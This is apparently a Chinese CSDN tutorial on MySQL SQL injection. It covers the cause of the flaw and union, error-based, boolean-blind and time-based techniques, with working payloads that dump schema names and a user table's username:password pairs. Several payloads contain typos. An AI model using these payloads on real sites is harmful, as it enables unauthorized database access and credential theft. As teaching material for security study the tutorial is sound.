SQL注入
漏洞原理:1.程序编写者处理程序和数据库交互的时候,使用字符串拼接的方式构造SQL
2.未对用户可控参数进行足够的过滤就将参数内容拼接进SQL语句中
注入点可能的位置:GET数据、POST数据、HTTP头部、COOKIE数据等
注入手法:联合查询
报错注入
布尔盲注
延时注入
堆叠查询
MYsql元数据数据库:information_schema
mysql 常用的函数与参数:version()数据库版本/database()当前数据库/user()用户 /current_user()当前用户名/system_user()系统用户名/@@datadir数据库路径/@@version_compile_os操作系统版本/length(datebase())返回字符串长度/substring(字符串或者列名,起始位置,截取长度)截取字符串/substr()截取字符串/left(version(),2) 从左侧开始去指定字符个数的字符串、concat('a','b','c')没有分隔符的连接字符串/concat_ws('/','a','b','c')含有分隔符的连接字串/group_concat()连接一个组的字符串、ord('a')返回ASCII码、hex()字符转16进制、unhex()16进制转字符、floor(x)返回不大于X的最大整数、round()返回参数x接近的整数、rand()返回0-1之间的随机浮点数、load_file()读取文件,并返回文件内容最为一个字符串
注入过程:御剑扫描网站后台
@ 判断SQL注入点
?id=34 +-1 select * from tbName where id = $id
@ ?id=35' 字符型还是数字型报错:near ''' at line 1
select * from tbName where id = 35'
@ 测试页面是否有布尔类型的状态
?id=35 and 1=1
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
@ ?id=35 and sleep(4) 是否有延时
第一种:联合查询
使用[order by] 语句来判断当前select 语句所查询的虚拟列表的列数
得到字段个数之后,可以尝试构造联合查询语句
[?id=33 union select 1,2,3,4,5,6,7,8,9,10--+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL,语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
[?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
先通过database()获取当前数据库名
再查数据库中的表
我们可以通过查询information_schema.tables 来获取当前数据库的数据表
hex(group_concat(table_name))...from information_schema.tables where tables_schema=database()
再查数据库中的字段名
hex(group_concat(cloumns_name))...from information_schema.cloumns where
tables_schema=database() and table_name='cms_users'
得到结果
… hex(concat(username,':',password)) … from cms_users
MD5在线查询
第二种:报错注入
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入
group by 重复键冲突
.....and(select 1 from(select count(*),concat(select version() from information_schema.tables limit 0,1),floor(rand()*2) as x from information_schema.tables group by x)a)
XPATH报错
@ extractvalue()
[… and extractvalue(1,count('^',(select version()),'^'))--+]
@ updatexml()
[… and updatexml(1,count('^',(select version()),'^'))--+]
第三种:布尔盲注
原理
利用页面返回的布尔类型状态,正常或者不正常
猜数据库名长度:and length(database())=1..2...3
确定之后截取数据库名的字母 and ord(substr(database(),1,1))=99..
第四种:延时注入
@ 获取数据库名长度
[.. and if((length(database())=3),sleep(5),1)--+]
@ 数据库名第二位
[.. and if((ascii(substr(database(),2,1)=109),sleep(5),1)]
--------
口诀
是否有回显 联合查询
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
绝招 延时注入
--------
SQL注入原理及手法
最新推荐文章于 2024-09-11 14:46:50 发布
文章详细阐述了SQL注入的原理,包括程序处理数据库交互时的字符串拼接方式和未过滤用户输入导致的安全问题。提到了多种注入手法,如联合查询、报错注入、布尔盲注和延时注入,并列举了MySQL中的一些元数据和常用函数。同时,通过示例展示了如何判断和利用这些注入点,以及一些基本的注入过程,如通过延时注入获取数据库名长度。
摘要由CSDN通过智能技术生成